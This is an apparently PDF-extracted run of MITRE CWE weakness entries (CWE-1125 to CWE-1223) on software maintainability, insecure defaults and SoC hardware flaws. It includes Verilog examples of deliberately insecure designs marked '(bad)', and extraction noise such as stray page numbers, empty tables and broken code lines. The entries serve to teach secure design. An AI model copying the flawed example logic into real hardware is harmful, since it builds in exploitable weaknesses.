### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1125: Excessive Attack Surface

<b>Weakness ID</b> : 1125	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product has an attack surface whose quantitative measurement exceeds a desirable maximum.

### Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1126: Declaration of Variable with Unnecessarily Wide Scope

**Weakness ID :** 1126

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The source code declares a variable in one scope, but the variable is only used within a narrower scope.

### Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1127: Compilation with Insufficient Warnings or Errors

**Weakness ID :** 1127

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1164: Irrelevant Code

<b>Weakness ID</b> : 1164	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

The program contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness.

## Extended Description

Irrelevant code could include dead code, initialization that is not used, empty blocks, code that could be entirely removed due to optimization, etc.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Weakness Ordinalities

Indirect :

**Common Consequences**

Scope	Impact	Likelihood
Other	Reduce Reliability	
Other	Reduce Performance	

**CWE-1173: Improper Use of Validation Framework**

Weakness ID : 1173

Status: Draft

Structure : Simple

Abstraction : Base

**Description**

The application does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.

**Extended Description**

Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the application. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1215	Input Validation Issues	1942

**Weakness Ordinalities**

Indirect :

**Applicable Platforms**

1718

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</i>	

### Detection Methods

#### Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

### Potential Mitigations

#### Phase: Implementation

Properly use provided input validation frameworks.

## CWE-1174: ASP.NET Misconfiguration: Improper Model Validation

<b>Weakness ID</b> : 1174	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The ASP.NET application does not use, or incorrectly uses, the model validation framework.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1176: Inefficient CPU Computation

**Weakness ID :** 1176

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Class

### Description

The program performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further.

### Extended Description

This issue can make the software perform more slowly, possibly in ways that are noticeable to the users. If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1177: Use of Prohibited Code

**Weakness ID :** 1177

**Status:** Incomplete

1720

**Structure** : Simple  
**Abstraction** : Class

### Description

The software uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.

### Extended Description

The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.

To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely. This issue can also make the software more costly and difficult to maintain.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1188: Insecure Default Initialization of Resource

**Weakness ID** : 1188 **Status**: Incomplete  
**Structure** : Simple  
**Abstraction** : Base

### Description

The software initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.

### Extended Description

Developers often choose default values that leave the software as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1290
ParentOf		453	Insecure Default Variable Initialization	964

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1290

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	1792
MemberOf		452	Initialization and Cleanup Errors	1796

## Weakness Ordinalities

**Primary :**

## Notes

### Maintenance

This entry improves organization of concepts under initialization. The typical CWE model is to cover "Missing" and "Incorrect" behaviors. Arguably, this entry could be named as "Incorrect" instead of "Insecure." This might be changed in the near future.

## CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC)

**Weakness ID :** 1189

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

## Description

The product does not properly isolate shared resources between trusted and untrusted agents.

## Extended Description

A System-On-Chip (SoC) has a lot of functionality, but may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1301

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If shared resources are being used by a trusted user, it may be possible for untrusted agents to modify the functionality of the shared resource for the trusted user.</i>	
Integrity	Quality Degradation  <i>The functionality of the shared resource may be intentionally degraded.</i>	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

Kernel integrity verification can help identify when shared resource configuration settings have been modified.

*Effectiveness = High*

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

When sharing resources, avoid mixing agents of varying trust levels. Group untrusted agents together to access when sharing a resource. Similarly, group trusted agents (at same trust level).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page

## CWE-1190: DMA Device Enabled Too Early in Boot Phase

**Weakness ID** : 1190

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base**Description**

The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.

**Extended Description**

DMA is included in a number of devices because it allows data transfer between the computer and the connected device, using direct hardware access to read or write directly to main memory without any OS interaction. An attacker could exploit this to access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually configured/setup during boot time. However, certain IPs that are powered up before boot is complete (known as early boot IPs) may be DMA capable. Such IPs, if not trusted, could launch DMA attacks and gain access to assets that should otherwise be protected.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

## CWE-1191: Exposed Chip Debug Interface With Insufficient Access Control

**Weakness ID** : 1191

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The chip does not implement or does not correctly enforce access control on the debug interface, thus allowing an attacker to exercise the debug interface to access a portion of the chip internal registers that typically would not be exposed.

### Extended Description

Integrated circuits can expose the chip internals through a scan chain interconnected through internal registers etc., through scan flip-flops. A Joint Test Action Group (JTAG) compatible test access port usually provides access to this scan chain for debugging the chip. Since almost every asset in the chip can be accessed over this debug interface, chip manufacturers typically insert some form of password-based or challenge-response based access control mechanisms to prevent misuse. This mechanism is implemented in addition to on-chip protections that are already present. If this debug access control is not implemented or the access control check is not implemented properly, or if the hardware does not clear secret keys, etc., when debug more is entered, an attacker may be able to bypass on-chip access control mechanisms through debug features/interfaces.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	618

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High

**Potential Mitigations**

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Implement an access control mechanism to exercise the debug interface in order to control and observe security-sensitive chip internals. Password checking logic should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.

**Observed Examples**

Reference	Description
<b>CVE-2019-18827</b>	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

**CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers**

<b>Weakness ID</b> : 1192	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

**Description**

The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.

**Extended Description**

A System-on-Chip (SoC) comprises several components (IP) with varied trust requirements. It is required that each IP is identified uniquely and should distinguish itself from other entities in the SoC without any ambiguity. The unique secured identity is required for various purposes. Most of the time the identity is used to route a transaction or perform certain actions (i.e. resetting, retrieving a sensitive information, and acting upon or on behalf of), etc.

There are several variants of this weakness:

- A "missing" identifier is when the SoC does not define any mechanism to uniquely identify the IP.

- An "insufficient" identifier might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended.
- A "misconfigured" mechanism occurs when a mechanism is available but not implemented correctly.
- An "ignored" identifier occurs when the SoC/IP has not applied any policies or does not act upon the identifier securely.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1284

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Every identity generated in the SoC should be unique and immutable in hardware. The actions that an IP is trusted or not trusted should be clearly defined, implemented, configured, and tested. If the definition is implemented via a policy, then the policy should be immutable or protected with clear authentication and authorization.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1198	Privilege Separation and Access Control Issues	1194	1936

## CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control

**Weakness ID** : 1193

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.

### Extended Description

After initial reset, System-on-Chip (SoC) fabric access controls and other security features need to be programmed by trusted firmware as part of the boot sequence. If untrusted IPs or peripheral microcontrollers are enabled first, then the untrusted component can master transactions on the hardware bus and target memory or other assets to compromise the SoC boot firmware.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		696	Incorrect Behavior Order	1345

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.</i>	High

## Potential Mitigations

### Phase: Architecture and Design

The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1196	Security Flow Issues	1194	1936

## CWE-1209: Failure to Disable Reserved Bits

**Weakness ID :** 1209

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

## Description

The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.

## Extended Description

Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design. However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1362

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits</i>	
Integrity		
Availability		
Access Control		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Include a feature disable

**Phase: Integration**

Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.

## Demonstrative Examples

### Example 1:

An adversary may perform writes to reserve space in hopes to change the behavior of the hardware.

*Example Language: Other*

*(bad)*

```
// Assume an IP has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F).
// Therefore inside the Finite State Machine (FSM), the code is as follows:
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
4'b1111 : //0x0F
begin
```

```
gpio_out = 1;
end
```

In the code above, the GPIO pin should remain low for normal operation. However, it can be asserted by accessing the reserved address space (0x0F). This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system which may not be the correct action the system should perform).

Example Language:

(informative)

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
//4'b1111 : //0x0F
default: gpio_out = gpio_out;
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	1937

## CWE-1220: Insufficient Granularity of Access Control

**Weakness ID :** 1220

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.

### Extended Description

Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.

A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

	Other	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Access-control-policy protections must be reviewed for design inconsistency and common weaknesses. Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES\_KEY\_READ\_POLICY and AES\_KEY\_WRITE\_POLICY, and are defined to provide necessary access controls.

The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

*Example Language: Other*

*(bad)*

In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read

and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.

A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

*Example Language:*

*(mitigation)*

## CWE-1221: Incorrect Register Defaults or Module Parameters

**Weakness ID :** 1221

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.

### Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.

The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1290

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>Degradation of system functionality, or loss of access control enforcement</i>	
Integrity		
Availability		
Access Control		

### Potential Mitigations

#### Phase: Architecture and Design

During hardware design all the system parameters and register defaults must be reviewed to identify security sensitive settings

#### Phase: Implementation

The default values of these security sensitive settings need to be defined as part of the design review phase.

#### Phase: Testing

Testing phase should use automated tools to test that values are configured per design specifications.

### Demonstrative Examples

#### Example 1:

Consider example design module system verilog code shown below. register\_example module is an example parameterized module that defines two parameters, REGISTER\_WIDTH and REGISTER\_DEFAULT. Register\_example module defines a Secure\_mode setting, which when set makes the register content read-only and not modifiable by software writes. register\_top module instantiates two registers, Insecure\_Device\_ID\_1 and Insecure\_Device\_ID\_2. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values.

*Example Language: Verilog*

*(bad)*

```
// Parameterized Register module example
// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable//
/module register_example
s#(
parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits
parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register
computed from Width. Sets all bits to 1s except bit 0 (Secure _mode)
)
(
input [REGISTER_WIDTH-1:0] Data_in,
input Clk,
input resetn,
input write,
output reg [REGISTER_WIDTH-1:0] Data_out
);
reg Secure_mode;
always @(posedge Clk or negedge resetn)
if (~resetn)
begin
```

```

Data_out <= REGISTER_DEFAULT; // Register content set to Default at reset
Secure_mode <= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset
end
else if (write & ~Secure_mode)
begin
Data_out <= Data_in;
end
endmodule
module register_top
(
input Clk,
input resetn,
input write,
input [31:0] Data_in,
output reg [31:0] Secure_reg,
output reg [31:0] Insecure_reg
);
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0.
) Insecure_Device_ID_1 (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
register_example #(
.REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default.
) Insecure_Device_ID_2 (
.Data_in (Data_in),
.Data_out (Insecure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
endmodule

```

These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.

In the example design, both registers will be software writable since `Secure_mode` is defined as zero.

*Example Language:*

*(informative)*

```

register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode
) Secure_Device_ID_example (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1199	General Circuit and Logic Design Concerns	1194	1937

## CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks

**Weakness ID :** 1222

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.

### Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.

A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1220	Insufficient Granularity of Access Control	1730

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Operating\_System :** OS-Independent (*Prevalence = Undetermined*)

**Architecture :** Architecture-Independent (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Other	
	<i>System security configuration cannot be defined in a way that does not conflict with functional requirements of device.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks. As an alternative to using register lock control bits and fixed access control regions, the hardware

design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.

### Demonstrative Examples

#### Example 1:

For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS\_LOCK) where each bit lock locks the corresponding 1 kilobyte region.

*Example Language: Other*

*(bad)*

If a register exists within the first kilobyte address range (e.g. SW\_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS\_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY\_FEATURE\_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.

## CWE-1223: Race Condition for Write-Once Attributes

**Weakness ID :** 1223

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.

### Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

